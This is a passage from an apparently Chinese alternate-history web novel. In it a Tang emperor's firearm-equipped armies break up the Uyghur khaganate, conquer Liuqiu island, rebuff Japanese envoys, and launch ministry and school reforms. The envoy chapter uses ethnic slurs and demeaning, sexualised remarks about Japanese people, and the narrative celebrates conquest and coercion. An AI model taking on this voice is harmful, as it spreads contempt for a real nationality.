回鹘崇德可汗觉得这是他们的主场,决心集中主力跟唐军较量一番,他**了二十万大军,决定先集中消灭唐军的东路军,然后再对其他两路军各个击破。
李听率领平辽军刚开始进展比较顺利,消灭了几个小部落,但是前方突然出现了大股的回鹘骑兵,向东路军包围过来。
李听看到对方人数众多,来者不善,知道必有一场恶战,于是下令部队的队形收缩,抱团前进,把辎重物资保护起来。
崇德可汗,发现对方不过三万人,自己的兵力有绝对优势,决定来一场大规模的突击战,一举消灭唐朝的东路军。
自古以来北方少数民族的铁骑,横行霸道惯了,认为搞骑兵作战,汉人还嫩了点,回鹘兵个个趾高气扬,信心十足,待崇德可汗一声令下,开始大规模向唐军冲去。
李听发现回鹘军冲过来了,立即命令部队停止前进,原地装填**,准备对回鹘军进行迎头痛击。
回鹘军冲到距离唐军三百丈左右的距离时,唐军开始发射***和小炮,这些炮弹在回鹘军中开花,炸死、炸伤不少回鹘人。
由于唐军发射的密集度不够,没有对回鹘军造成重大打击,崇德可汗看到唐军近在咫尺,命令部队加快冲击,利用近战**唐军。
当回鹘军抵到距离唐军八十丈左右的距离时,才发现刚才的炮击只是吃到的开胃菜,真正的主菜开始到来。
唐军的所有人员早已在**中装好**,全军分成三个波次,专等回鹘军冲来。
当回鹘军的前锋进入射程后,唐军发起了第一波射击,**发射的**穿透回鹘人的铠甲,冲进他们的皮肉和骨骼,靠在最前面的回鹘军大批伤亡**。
回鹘军也反应过来,用弓箭向唐军射击,可惜的是,弓箭的射程小于**,唐军的**可以打到他们,他们却射不到唐军,空耗了一批箭矢。
紧接着唐军的第二波射击又到了,又有一批回鹘人中弹倒下,回鹘人不服,继续向前发起死亡冲击,然后迎来第三波射击,继续伤亡一批。
第三波射击完之后,第一批唐军已经装填好**,开始射击第四波,然后又是第二批唐军射击第五波,第三批射击第六波。
在唐军的持续射击下,唐军前方七十丈左右的距离成为一道死亡线,回鹘军根本无法逾越,大批的回鹘军倒毙在这条死亡线附近。
回鹘军开始恐慌了、害怕了,再也不敢猛冲,而是停在原地,与唐军对峙起来。
崇德可汗看正面打击唐军不行,就想来个迂回包抄,于是命令两翼骑兵向唐军的侧后包抄过去,企图从后方袭击唐军。
第66章 收服回鹘
李听见状,立即命令唐军调整队形,将一部分人调整到后方,这样,全军形成一个环形防御阵型。
回鹘军绕道唐军后侧以后,发现那里的唐军已经严阵以待,知道冲过去没有好果子吃,就来个只包围不冲击。
这样一来,两军就形成了对峙的状态,谁也奈何不了谁。崇德可汗看到前面**一两万回鹘军,恨得牙根直痒,决定在这里困死东路军。
这样一来,对东路军确实不妙,等于把给养掐断了,喝水吃饭都是问题,李听看到形势不对,立即命令亲兵发射**箭,召唤其他部队前来支援。
回鹘草原面积广大,即使发射**箭,其他友军能否及时发现,并过来支援,都是问题,当前的危机必须解决。
李听看到唐军在开始的射击中,射**不少回鹘人和他们的马匹,于是计上心来,命令部队缓慢往前推进。
回鹘军看到唐军往前推进,为了防止再次被射击,于是纷纷后退,唐军抵达那些回鹘军和马匹的尸体位置后,就停止前进。
这个时候,出来一批辎重兵,他们将那些已死的、垂死的马匹拖进唐军的阵营中,然后就地杀马取肉,现场搞起了烤马肉。
唐军打了一仗,到了中午也都饿了,辎重兵将马肉烤好之后,各军都分配不少,大家美美地吃了一顿烤马肉,吃不完的,还可以包起来放在行囊里,留在晚上吃。
回鹘军看到唐军当着他们的面,将他们的战马宰杀吃掉,肺都快气炸了,但是又无可奈何,只能远远望着。
李听觉得原地呆在这里肯定不行,还是向中路军靠拢为妙,顺便在沿途也找些水源,不然大军用水也是问题。
李听于是命令东路军,继续保持环形阵型,全军向西移动。东路军向西走了二十里左右,天也快黑了,终于发现有个水源,于是决定在这里宿营。
夜间,崇德可汗仍不死心,派出骑兵袭击唐军的营地,唐军早有准备,在回鹘兵来袭时,用密集的火力,将其击退,回鹘军平白又损失了上千人,无功而返。
到了第二天,回鹘军仗着自己人多,仍不愿放弃,继续与东路军对峙,东路军往西移动,他们也往西移动,李听为了保险起见,又让人发射了一支**箭。
两军对峙到中午,李听有点火了,派出三千骑兵突然杀出,对着回鹘军猛冲,对着回鹘军就是一阵猛烈射击,打的回鹘军死伤一批,被迫后撤。
这三千唐军见好就收,不再往前,东路军主力前移与先锋汇合,辎重兵再次出来,拖一些死马、伤马,就地宰杀,东路军又美美地吃了一顿烤马肉。
回鹘军看到这种情形又气又怒,却无可奈何,士气逐渐低迷,不愿跟唐军对峙下去了。
就在这个时候,回鹘军的西北方向响起了**,原来,中路军杀过来了。
东路军一看,士气大振,立即上马,对着回鹘军发起冲击。
回鹘军腹背受敌,再也支撑不住,开始四散逃亡,崇德可汗率领一股亲兵向东北逃跑。
这一战,只打了一个多时辰,回鹘人又伤亡近两万人,还有四万多人被俘,回鹘军遭到重创。
从此以后,回鹘军对唐军产生了严重的畏惧心理,只要发现大股唐军,就远远逃遁。
那些被回鹘压迫的民族,看到回鹘人根本不是唐军的对手,谁还有心思跟唐军死磕,待唐军到达后,纷纷投降,唐军先后给他们的部落首领分封官号,成为唐朝的附庸。
对于投降的部族就在当地征收物资,对于敢于反抗的部族,直接杀其首领,没收其牛羊,充作军资,以战养战,准备来一场持久战。
回鹘崇德可汗,搜集残部,眼看无法和唐军硬刚,于是带领嫡系部族和部队向北逃遁,一直逃到了色楞格河(今蒙古国境内)流域,准备以拖待变。
平胡军统领乌重胤久有建功立业、封狼居胥的想法,此次进入回鹘,梦想一展当年卫青、霍去病的荣光,打败异族军队,建立属于自己的功勋,在与东路军击败回鹘主力后,他继续一路向北猛攻,先后收服回鹘七八万部众,发誓要抓住回鹘崇德可汗。
元和八年六月,乌重胤带兵追到古狼居胥山(今蒙古国杭爱山)附近,击败回鹘的一支约两万人的后卫部队,并将其主将俘获,经审问才知,主将是崇德可汗的弟弟莫利骨。
乌重胤当即要求莫利骨投降,向大唐表示效忠,刚开始莫利骨还有点死硬,不愿投降,乌重胤也不犹豫,直接下令就地**,莫利骨吓尿了,立马哭喊着要投降。
乌重胤对莫利骨说:
“投降就对了,此处离可敦城不远,你可以自立为崇南可汗,以可敦城为都,建立自己的牙帐,可敦城及其以南的回鹘土地和部众全部归你,这样岂不快哉,干吗为了你哥**,我们也不想杀你哥,只要他向大唐投降,效忠大唐,可以继续做他的可汗。”
莫利骨彻底想通了,放着可汗不做,非要愚忠而死,不是傻吗?当即接受乌重胤的意见,自称崇南可汗,搜罗回鹘余部,在可敦城建立自己的牙帐,改回原来的部落名字回纥。
很多回鹘人被唐军打的东躲西藏,牛羊被抢,早就腻烦了,看到莫利骨称汗,纷纷过来投降归附回纥,崇德可汗的兵马和部众日益减少。
千里挺进回鹘,收服莫利骨,乌重胤感觉自己也算有些功劳,于是带上部将,登上狼居胥山,刻石记功,焚香祭天,模仿当年的霍去病,颇为得意了一番。
在东线,李听率领平辽军继续追杀回鹘各部,把回鹘军打的一路逃窜,回鹘东部的主要部族为仆骨部,多年受到回鹘的压迫,不愿为了崇德可汗卖命。
在李听驱逐回鹘军以后,仆骨首领主动归顺唐军,自称达延可汗,把仆骨部从回鹘独立出来,改为效忠唐朝,断了回鹘的右臂。
在西线,刘光颜率领镇北军向回鹘西部的铁勒部一带扫荡,当地的回鹘军队根本无法抵挡,只能向北逃去。
铁勒部当年也是漠北的大部落,称雄一时,后来被回鹘打败,不得不臣服于回鹘,此时也趁机脱离回鹘的统治,其首领也率部归顺唐军,自称顺天可汗,跟随唐军打击境内的回鹘军队,断了回鹘的左臂。
崇德可汗带领效忠于他的军队的部众一路逃到色楞格河下游,再往北就要到了北海(今贝加尔湖),眼看无处可逃,一路上士气低迷,垂头丧气。
崇德可汗的如意算盘是,漠北草原地幅广大,自己熟悉地形,可以到处躲藏,只要等唐军久战生疲,主动退去,自己就可以率部打回去,收复故土,继续做回鹘的王。
崇德可汗这么想,他的手下可不这么想,唐军一路打过来,如摧枯拉朽,打的回鹘根本没有还手之力,策反了很多部落,一直向北追来,根本没有停歇的意思。
虽然回鹘人对地形更熟悉,可以躲藏一阵,但是几万人哪有那么好躲藏,一旦被唐军包抄,就是灭顶之灾。
尤其是那些有权势的人物,只要脱离崇德可汗就可以自立为汗,可以成为一方诸侯。继续陪着崇德可汗继续逃亡,眼看毫无出头之日,很可能就是死路一条,很多人心怀不甘。
回鹘大相特里钦,对崇德可汗这种与唐朝死磕到底的态度非常不满,思忖着与其被唐军追上来打死,不如冒险夺取富贵。于是,特里钦召集心腹,合计了一番,决定反水。
次日,特里钦以从马上摔下受伤为名,请崇德可汗前来探望,崇德可汗也未生疑心,来到特里钦帐内探望。没想到,崇德可汗一进大帐,就被特里钦埋伏的人袭击,当场被刺死。
特里钦召集回鹘主要头领,对他们说:
“唐朝只是要求我们分成几个独立的部落,向唐朝效忠即可,不要我们的土地,也不要我们的百姓,我们干嘛非要跟唐军死磕,我现在决定称汗,向唐朝臣服,你们愿意追随我的,就一起过安稳日子,还想继续和唐朝死磕的,就请离开这里,跑远了去干。”
大部分人看到回鹘大势已去,继续对抗没有好下场,都想安稳下来,即使有少量的回鹘人不服,也不愿继续冒险,最后一致同意支持特里钦,尊其为天通可汗,在色楞格河下游建立新的牙帐,仍称为回鹘。
特里钦派人带上崇德可汗的人头和表示臣服的书信,送到乌重胤的大营,正式宣布效忠唐朝。
回鹘西北的黠戛斯,早就对回鹘不满,已经处于半独立状态,看到回鹘基本倒台了,干脆也趁机独立,他们甚至还追杀回鹘的余部,趁机抢夺他们的牛羊,和特立钦的回鹘国关系恶化。
金山(今阿尔泰山)以西的车师部,地处边远,原本处于回鹘的控制,被在西域征讨的李愬军队击败,也脱离了回鹘的控制。
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到了元和八年九月,原来回鹘汗国控制的地盘已经分崩离析,**为各自独立的几个政权,除了黠戛斯外,其他部落全部向唐朝投降,派出使者带着朝贡的物品和臣服的诏书,到武元衡所在的云州,正式向唐朝臣服。
回鹘的土地基本都是沙漠和草原,不适合汉人生存,李纯对他们的土地不感兴趣,只是回鹘作为北方一个强大的政权,拥有几十万人的铁骑,在北方威胁唐朝的安全,必须予以肢解制服。
对于黠戛斯,李纯觉得其虽然距离较远,但是必须也要臣服,不能处于完全独立的状态,否则就派兵联合已经臣服的回鹘部落一起去征讨。
经过唐军的一番通牒,最后黠戛斯也被迫向唐朝臣服,每年向唐朝纳贡。
至此,除去车师前部、车师后部已被纳入西域,回鹘正式**为回鹘、回纥、仆骨、铁勒、黠戛斯五个政权。李纯要求这五个政权各自保持独立,向唐朝臣服,不得互相兼并,否则将迎来唐军的征讨。
崇德可汗虽死,但是他还有妻儿,李纯命令特立钦将崇德可汗的妻儿送到云州,由武元衡带回长安,仍交给外事部妥善供养。
还有吐蕃虽然**了,但是其王族仍在,李纯派人向论恐勒索要退位的赞普及家人,送到鄯州,然后再由唐朝官员送到长安,也由外事部供养起来。
李纯觉得,平定了这几个政权,就要把他们的王族都接到长安,省的他们的死党再拥立他们作乱。
为了安置这些投降各族的王族,外事部专门辟出几个院子给他们居住,给予较好的生活待遇,可以在长安城内活动,但是不能出长安。
唐军在其他方向取得重大进展后,元和八年7月,李纯派出平海军,乘船从泉州出发,出兵攻打流求岛。
流求岛上的居民长期与世隔绝,当时还处于原始部落状态,武器非常原始落后,根本不堪一击。
唐军登陆后,分多路从沿海向内陆进军,他们使用刚柔并济的办法,只要岛上的部落肯臣服大唐,就可以封当地的部落首领为官,部落只需每年向朝廷缴纳贡赋即可,如不肯投降就持续攻击,打到其屈服为止。
唐军一路扫荡过去,当地少数民族根本抵挡不住,绝大部分部落望风披靡,少数的死硬分子只能落得被消灭的下场,只用了两个多月,就基本占领全岛。
唐军拿下流求岛以后,朝廷派出官员和其他人员,在流求岛乌溪入海口一带建设城池,在此设立流州(今台中市龙井区),统一管理全岛,并将流州纳入闽潮道管理。
闽潮道在全岛先后设立云林、嘉禾、青竹、流南等县,从大陆向流求岛进行移民,大量无地农民到此寻找荒地开垦,使此地成为唐朝的新领土。
到了元和八年十月,西域、回鹘、南诏、流求的战事全部结束,唐军大获全胜,吐蕃已经正式**为5个政权,回鹘也**成5个部落,西域一带诸小国被李愬率军扫平,南诏余部**成4个小国。
李纯决定派一些官员去管理边疆,防止这些分离的政权重新整合坐大,必须要保证他们臣服唐朝。
在昆州(昆明)派驻南诏宣慰使,主要负责管理臣服的南诏余部4个小国,定期收取当地特产作为贡品。
在妫州(怀来)派驻回鹘宣慰使,主要负责管理回鹘五部的事务,要求五部每年向唐朝送来一定数量马匹、牛羊作为贡赋。
在鄯州(西宁)派驻吐蕃宣慰使,主要负责管理吐蕃五国的事务,五国每年也要以马匹牛羊等作为贡品运到鄯州。
在沙洲(敦煌)派驻安西宣慰使,主要负责管理包括车师两部在内的西域各小国,各国每年以葡萄、硫磺、药材等西域特产作为贡品,运到沙州。
四个宣慰使均为正四品官员,由外事部统一管理,对投降的四个地区实行羁縻管理,使这四个地区名义上服从唐朝。四个宣慰使定期到对应的各个小国进行巡查,每年都要收取贡赋,彰显唐朝对他们的治理。
各宣慰使如果发现有敢于反叛唐朝的政权,立即向朝廷报告,由朝廷派军事部出兵征讨,确保周边各小国始终处于弱小或**状态,并对唐朝臣服,不会构成任何威胁。
对于东北各族和新罗、扶桑等政权,李纯决定元和九年就派兵彻底征服,全部纳入唐朝领土,就没必要设立什么宣慰使了。
第67章 戏谑倭使
元和八年,李纯在对外用兵的同时,还在关注唐朝内部的发展。近年来,经过朝廷的持续推动,唐朝境内的工商业日趋兴旺,冶铁业、纺织业、建筑业、零售业蓬勃发展,夏原新都在有条不紊的建设,长安到洛阳的铁路也在推进,国家呈现出兴旺发达的景象。
社会经济发展的同时,士林百姓的思想也在改变,以前被人视为奇技淫巧的科学技术,极大的改变了百姓的生活,生产出的火器威力惊人,在对外征讨中发挥了巨大作用,让人们对科技有了更加积极的认识,纷纷投身于技术革新当中,民间兴起了学习科学知识的热潮。
很多人通过从事工商业赚了大钱,生活富足,商品变得更加丰富,蒸汽机开始被应用到其他生产领域,替代了不少人力。
通过朝廷的鼓励和现实证明,百姓们认为,经商办实业大有可为,很多农民觉得进城务工比种地赚得多,纷纷进城寻找机会。
正在前方军事活动和其他事业都顺利发展的时候,传来裴垍去世的消息,让李纯倍感伤心,为了表彰裴垍的功绩,李纯追封裴垍为太子太傅,赐其儿子裴鍠门荫入仕。
处理完裴垍的丧事后,就进入了元和8年5月,李纯的心情还有些低落,突然元稹送来一个奏折,说是扶桑派来一批遣唐使,要来大唐学习先进的技术和文化。
看到这个奏折,李纯想起历史中记载,扶桑在盛唐时期多次派遣唐使,来唐朝学习先进技术和文化。那时候的唐朝主政者志得意满,轻易就答应了扶桑国的请求,先后接待了大量的遣唐使,毫无保留的把自己最好的东西教给别人。
李纯想起此事,就对当时的主政者就非常痛恨,自己有点好东西恨不得连家底都交给人家,还声称是什么大国风范,传播华夏文化。
老祖宗好不容易积攒点东西,这些人崽卖爷田心不痛,全部拿去资敌,后面扶桑国强大了,就掉头打华夏,当时的主政者就是糊涂蛋!
自安史之乱后,扶桑人看到没什么好学的了,就逐步减少了遣唐使的数量,以至于后面中断。扶桑这个民族,学到了大唐的精华后,回去励精图治,后面发展很快,到了唐朝中后期,很多方面就都追上来了。
自元和五年后,唐朝再次出现复兴,不仅削平了藩镇,而且在经济、科技、文化又有了新的发展。特别是军事工业突然兴起,甚至还搞出了火车,**改革、教育改革也在不断推进,取得了很大的成效。
这个时候,扶桑人看到唐朝又有新东西可学,又派出遣唐使,想过来偷师学艺,把华夏的好东西挖回去。李纯本想把他们赶回去,但是想着既然来了,就见见,看他们能玩出什么花样。
次日,李纯在宣政殿召见扶桑派来的遣唐使。由元稹领着,两个扶桑人跟着,一起进宫拜见李纯。
几个人叩头起来后,李纯认真打量了一下他们,只见两个人都在四十岁左右,前额剃发,留着小胡子,典型的扶桑人打扮,看着就有点不爽。
李纯正看着,其中一个扶桑人开口了,此人的汉语说的很好,他恭敬地说道:“伟大的皇帝陛下,敝人安倍晋六,是扶桑国派来的遣唐使,受我国**藤原义孝的委托,来到大唐学习先进的技术文化,恳请皇帝陛下答应。”
另一个扶桑人也开口说话了:“皇帝陛下,敝人麻生二郎,是此次的副使,我们扶桑人非常仰慕大唐的文化,我们真诚的向你们学习,希望唐朝人可以好好教我们。”
李纯心里涌出几十个草泥马,这两个倭人装的真像,摆出一副谦虚爱学的样子,把偷学东西搞得那么文雅,真令人作呕。
李纯毕竟是皇帝,也不好爆粗口,就调侃地说道:“你们想学文化?可以呀,没问题,元稹就是一个诗歌高手,朕让他专门抽出一段时间,教你们写诗,你们意下如何?”
安倍晋六赶忙说道:“我们在开元年间就已经学会写诗了,这次我们想学点技术,我们久仰唐朝的军事技术发达,非常顺利的击败了吐蕃,希望大唐也能教教我们。”
李纯真想拿个东西砸过去!小鬼子还想学军事技术,学完再掉头打唐朝?真是厚颜无耻!
李纯不紧不慢地说:“学习东西吧,总要有个礼尚往来,你们不能说学就学,总要有东西给我国吧。”
安倍晋六说:“我们这次来是非常真诚的,为了表示诚意,我们的**专门让人选了三个最漂亮的扶桑女子,愿意献给皇帝陛下,作为见面礼。”
李纯想,什么乱七八糟的,大唐缺女人?扶桑的娘们更香?如果为了几个扶桑女人就把唐朝的军事技术拱手让人,自己不就成了千古罪人?
李纯假装无奈的说:“可惜朕不爱女色,即位至今才纳了一个妃子,这三个扶桑美女,还是留给你们的**做妃子吧。”
安倍晋六有点着急了:“皇帝陛下,如果你们有其他要求,只要是我们能做到的,都会尽力做到,我们愿意出钱。”
李纯想到,按照计划明年就要打扶桑,就说道:“子曰:有朋名自远方来,不亦乐乎。怎能要你们的钱呢,与其你们来学,不如我们派人去教,最迟明年下半年,我们一定会派人去教你们。”
安倍晋六和麻生二郎面面相觑,也不知道李纯说的真假,安倍晋六只得说:“不必如此麻烦大唐,我们既然来了,还是由我们来学习吧,我们不会忘记大唐的恩情的。”
李纯想,朕对你们可没啥恩情,到时候不要恨朕就行了,然后就说道:“军事技术这个东西,不能光学习,更重要的是要切身体会,只有切身体会到了他的厉害,才能融会贯通。”
两人听出了李纯话中暗含的杀机,不禁紧张起来,安倍晋六赶忙说道:“我们扶桑人是唐朝人的朋友,不是敌人,几百年来一直世代友好,还请皇帝陛下珍惜这段友谊。”
嘿!还在灌**汤,真是不到黄河心不死,不见棺材不落泪。李纯继续说道:
“对,唐朝和扶桑确实是好朋友,朕还要邀请你们的**藤原义孝来长安做客,以后就住在长安不走了,朕保管给他吃香的喝辣的,好好招呼他。”
两个人快被李纯绕晕了,安倍晋六还不死心,最后说道:“皇帝陛下太会说笑了,我们两个来一次唐朝不容易,想走一走,看一看,领略大唐的强盛,还请陛下答应。”
走啥,看啥,还想着偷学东西呢?李纯当即说道:
“元爱卿,两个扶桑使者的这个要求还是要答应的,那三个扶桑美女朕就不要了,但是也要让他们领略一下唐朝美女的韵味,给你三天的时间,带他们到长安六大胡同走一走,看一看,还可以现场体会、亲密接触。时间一到,立即送客,礼送出境!”
两个扶桑遣唐使傻眼了,要是他们来唐朝三天专门泡妞,回去被**知道后,还不杀头呀。他们看再继续磨下去,只会越来越难受,只得泱泱而退。
送走两个扶桑遣唐使之后,李纯交代元稹,以后不要再领这种心怀不轨的外国人过来,要严密监督管控在唐朝的外国人,绝对不能让他们接触到唐朝的重要技术。
打发走两个扶桑二货之后,李纯抽出时间对当时唐朝的发展情况进行认真的梳理分析,认为国家在不断的发展进步,但是第一次机构改革的不彻底,有些机构的职能跟当前的形势不匹配,没能起到很好的促进作用,亟需进行第二次机构改革。
以前局部的教育改革,存在一定的妥协性,社会的发展证明了科技和经济的重要性,人民对这两个方面的接受度有了很大的提高,经济的发展也需要一批具有新知识新技能的人才,必须要进行更加全面的教育改革。
李纯经过思考,决定先进行机构改革,争取一次改革到位,不再保留任何闲散机构,在机构改革中组建教育部,而后由教育部负责开展教育领域的大改革。
首先,礼部既要管重大活动,又要管教育,造成主业不清,同时太常寺也分管一些礼仪活动,与礼部的职能造成交叉,可以把礼部教育的职能剥离出来,单独成立教育部,负责全国教育事业的发展,把太常寺全部人员和职能并入原来的礼部,负责所有的礼仪活动。
国子监的职能不变,为朝廷培养和选拔人才的地方,新考入的进士都要在这里进行为期一年的行政、科学、经济、法律等方面知识和能力的培养。
其次,司农寺所管的农业和都水监所管的水利密切相关,两个小部门可以合并成为一个大部,称为农水部,既减少了一个部门,又可以有利于农业和水利的协调推进。
户部的职能
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相对太多,应该分成两个部门,一个是财税部,专门负责财政管理和收取赋税,集中精力管好国家财务;一个是民政部,集中负责户口、婚丧、宗教、民族事关百姓的各类基础事务,特别是处理好新征服地区少数民族的融入问题。
工部的职能也要进行分解,成立建设部,专门负责国家大项工程的建设,对民间的各类工程、房屋建设进行管理;成立交通部,负责道路建设、修建铁路,水运、海运也要管起来;将科工部的建筑司抽出来给建设部,把交通司抽出来给交通部。
对科工部剩余的机构进行重组,在科技司的基础上组建科学司、技术司,其中科学司加挂科学院的牌子,负责科学知识的推广,搜集一些科学理论和技术专家加入科学院,技术司则重点负责每年科学大会的筹办,推广重要的使用的技术。新的科工部包含火器司、战船司、科学司、技术司,集中精力负责军事工业和科技发明的推广。
大理寺、刑部、御史台也要进行重整,大理寺改为审判院,专门负责重要案件的审理判定;刑部改为司法部,专门负责社会治安和各类法律的制定;御史台改为监察院,专门负责对公职人员的监督、调查和公诉。
吏部改为人事部,不再局限于管理官吏,对其他公职人员都要管理,对全国的官员和公职人员进行总量控制,防止财政供养人员过多、过滥。
太仆寺负责马政主要和兵部征用战马有关,主要职能并入兵部,在兵部成立军马司,关于民间养马和养畜的职能并入农水部。卫尉寺作为京师卫戍区实际上就是一支保卫功能的部队,可改为卫尉军。
李纯考虑成熟以后,就和李吉甫、武元衡等朝臣商议自己的改革方案,李吉甫等人感觉这又是一个大动作,对行政机构改革的力度非常大。
朝臣们觉得,这次行政机构改革,新组建了好几个部门,增加了很多确实需要的职能,自然也增加了官位,自然赞成。
李纯即位以来,所做的很多事情刚开始大家看不懂,但是后来都逐步发挥了巨大效果,藩镇问题解决了,国力富强了,对外战争连续获胜,大家对李纯的眼光和能力有了客观的认识,所以这次机构改革获得绝大多数人的同意,一致通过。
经过改革,名义上归尚书省管辖的部变成了13个,分别为:礼事部、教育部、人事部、军事部、科工部、农水部、财税部、民政部、工商部、外事部、建设部、交通部、司法部。
审判院、监察院单独设置,主官为为正三品的正使,两院相当于正部级单位,直接对皇帝负责,保证办案不受干扰。
卫尉军、国子监均为正四品副部级单位,卫尉军主管京师卫戍,比较重要,直接对皇帝负责;国子监主要负责人才的培养,与教育密切相关,可由教育部代管。
原来隶属于太常寺的钦天监,相当于一个正五品的司级单位,主管天文、历法事务,也涉及到气象、地震等事务,可以划归新的礼事部管理。
中书省不直接管辖各部门,但实际上为朝廷政务的核心机构,左右丞带三个光禄大夫,负责朝廷日常事务的处理,向皇帝提出建议,并按照皇帝的意见下达各类政令。把翰林院作为中书省的辅助办公机构,设为正四品副部级单位,相当于中书省的办公厅。
门下省作为对中书省监督单位,对于其政令进行审查,对于其不合适的部分提出意见,对于朝廷的施政方针也可以单独提出意见,相当于朝廷顾问的角色。
枢密院作为皇帝的私人办公机构,为正三品正部级单位,设置秘书司(文案和值班)、宗正司(管理宗室)、察访司(调查私访)、廷卫司(御林军)、太府司(皇家后勤),枢密院专门处理与皇帝、宗室密切相关的事务,避免与朝廷事务搅在一起。
内侍监单纯作为皇宫内部的管理机构,为正四品副部级单位,只负责宫廷内的各项事务,宫外的事务一律不得干预,杜绝宦官干政的机会。
经过这次改革,行政机构有增有减,原来一些务虚清闲的部门基本都被撤并掉了,新增了很多国家建设需要的部门,虽然总的部门数量有所增加,但是都是国家发展需要的部门,改革后各部门的职能更加清晰,不会再互相干扰内耗。
第68章 全面改革
行政机构设置确定以后,李纯开始考虑人事问题,由李吉甫、武元衡和韩愈提供参考意见,最后由李纯确定重要岗位人员,其他人员以中书省和吏部的意见为主。
左仆射目前位置空缺,右仆射武元衡升任右丞,右仆射的位置也空缺。原刑部尚书高郢工作多年,年事已老,可以升为左仆射;原科工部尚书李绛能力强,做了不少贡献,可以升为右仆射,门下侍中仍为卢坦不变,此三人为朝中仅次于两个宰相的从二品高官。
新组建的教育部,需要一个有文化的人来坐镇,当然是白居易最为合适。新组建的建设部由柳晟任尚书,潘兴法升任右侍郎;新组建的交通部由原工部侍郎刘元景任尚书,艾笛声升任右侍郎。
新组建的农水部由原司农寺正卿汪广会任尚书,新组建的财税部由李巽任尚书,新组建的民政部由户部侍郎崔右甫任尚书,新组建的科工部由原吏部侍郎韦贯之任尚书,新组建的司法部尚书由原刑部左侍郎曾文正任尚书。
其他原有部门的主官保持不动,分别为礼事部尚书权德舆、人事部尚书韩愈、军事部尚书范希朝、工商部尚书程异、外事部尚书元稹、审判院正使陈达封、监察院正使裴度、枢密使崔群。
这次改革,增加了好几个部门,朝廷共有16个正部级单位(13个部,3个院),全部按照五人政务会的标准配备官员,把主官领导和**集中统一起来,提高各部门决策的合理性、科学性。
由于增加了部门,很多新部门要增配两个少卿,官位自然也增加了不少,原来任职为寺、监正卿的官员,优先安置在侍郎的岗位上,其他有能力的官员,也可以借这次机构改革增加位置的机会提拔使用。
很多人都得到升迁,不少正五品的郎中提升为从四品的少卿,如枢密院秘书司郎中独孤郁、宗正司郎中楚连庸均升为枢密院少卿,但是郭钊、郭云、纪奎三个人都没动,还是在原来的郎中、员外郎的位置上,李纯不想让人说闲话,觉得朝廷格外照顾外戚。
还有一些李姓宗室的子弟,虽然有些才能,但是不便授予官职,官位小了,感觉受到轻慢,官位大了,容易被外人利用,对权力产生觊觎之心,只能授予爵位,在物质和名位上享受一些待遇。
这次改革的一个特点是,所有带寺的单位都改掉了,比如大理寺、太仆寺、司农寺等,以前国家单位和寺庙同一种称呼,李纯非常不喜欢,这次彻底改掉,让寺的称呼彻底回归到宗教场所。
忙完了朝廷机构改革的事情,李纯开始思量对教育的模式进一步改革。考虑到唐朝各地都有私塾,已经发挥了基础教育的功能,尽管培养出来的学生有点偏科,但是朝廷如果从小学开始重新培养,将过于耗时耗力。
最终,李纯决定朝廷从初中开始办学,在每个县设立一所初中,招收具有一定文化基础、年龄在12-14周岁的学童,学制4年,学习内容包括语文、数学、历史、思想、科学、地理等基础知识。
虽然名为初中,但是由于学生没有数理基础,所以其中的数学、科学、地理知识基本上是从头学起,待以后培养出一些人才,再逐步充实初中阶段数理方面的知识。
在州一级设立2所学校,其中一所继续深入学习文化课,相当于高中,一所开设医学、师范、行政等专业,相当于于中专,待四年后,这些初中生毕业,就可以考入各州的高中、中专。
那些没有考上高中、中专的初中毕业生,有了一定的数理知识基础,可以在乡一级设立公办小学,让这些初中生充实到小学教师队伍,完善小学阶段的数理内容。
也就是说,先办初中,再办高中、中专,同步改革小学阶段的教学内容,待小学阶段的基础扎实了,再逐步增加知识内容,提高初中以上阶段的学习难度。
这样做,虽然违反常规模式,但是在唐朝这个数理人才匮乏的年代,只能用这个权宜之计,来逐步培养综合型人才。
待各州的高中生培养出来以后,在在中央和道一级就可以设立大学,在中央一级设立几所专业性大学,在道一级可以先设立一所综合性大学。
待人才丰富以后,中央和各道再逐步增加大学数量,待大学教育成熟以后,可以再继续深化教育,培养一批研究型人才。
在当时,唐朝人口只有三千多万,不及前世一个省的人口,相应的,道、州、县人口都比前世低一个量级,所以采取中央、各道办大学,州办高中、中专,县办初中,乡办小学,是符合现实情况的。
在办学经费方面,所有公办学校免学费,由朝廷和各地拨付专项的教育经费,但是学生的生活费需自理。在培养人数上,由于当时的教师队伍匮乏,朝廷经费有限,不宜搞得规模太大。
县初中每个年级招两个班,每个班三十人,乡小学每个年级招一个班,州高中、中专每个年级可以各招三到四个班,中央、各道的大学可以在此基础上按照社会需求,确定招收大学生的数量。
以后,初中以上毕业生就可以直接找工作,不必都非要挤科举这条路。
目前,科举可以继续保留作为选拔官员的渠道,但是要改变选拔的方式,近期内仍采取从举子里面考试选拔进士,但是要增加经济、科学、法律方面的知识考核。
远期大学毕业生出来后,在基层行政岗位上干满两年,均可参与科举选拔为进士,全部按照新的知识体系进行考核。
当然,按照新的模式的培养的学生毕业还有些年份,只能作为远期规划,近阶段只能采取折衷的方式,先在科举中增加一些知识,后面再逐步过渡,慢慢提高人才的数量和质量,满足国家发展的需要。
想好了教育改革的整体方向和框架,李纯将教育部尚书白居易和两个侍郎张籍、王建召进宫里,详细跟他们讲述了教育改革的思路。
三个人刚开始还有点听不懂,但是随着李纯的反复阐述,三个人基本明白了李纯的意思,就是全部官办学校,培养一批综合性新式人才。
教育部的三个官员,都是文科性人才,但是看到李纯所倡导的科学和经济等内容,对社会的发展有了很大的促进,都非常支持李纯的教育改革计划,愿意全身心投入这个事业。
白居易回去以后,决定先全力办好两件事,一是在各县筹办初中,二是筹划在元和9年以新的科举方式选拔进士。
由于在元和6年就已经约定按照新的新模式选拔进士,并在国子监和各道开设补习班,所以这个工作相对好开展。在各县筹办初中,就涉及到经费问题,还有选择教师、寻找校址、编写教材、制定教学大纲等内容,这就相对来说非常急迫。
白居易跟李纯汇报了筹办筹办初中的难处后,李纯非常支持,同意让财税部建立专项教育经费,划拨给教育部管理,各县可以核算设立初中所需的经费,然后从每年需要上交的赋税中扣除。
不光是初中的办学经费,以后高中、中专、小学、大学等办学经费,都可以由各地核算以后,汇总到教育部,经教育部、财税部批准后,直接从需上交朝廷的赋税中截留,中央一级的教育经费,由财税部直接拨付给教育部。
关于初中校址的选择,难度也不大,可由朝廷下旨,让各县按照招生人数,选择合适的场所。
相对较难的是招聘教师、编写教材、制定教学大纲,李纯考虑后决定,由教育部统筹负责编写教材,制定教学大纲,各县负责教育的县学来负责招聘教师,先期由县学兼任初中的校长,负责初中的组建和管理,待办学步入正轨后,再任命专门的初中校长。
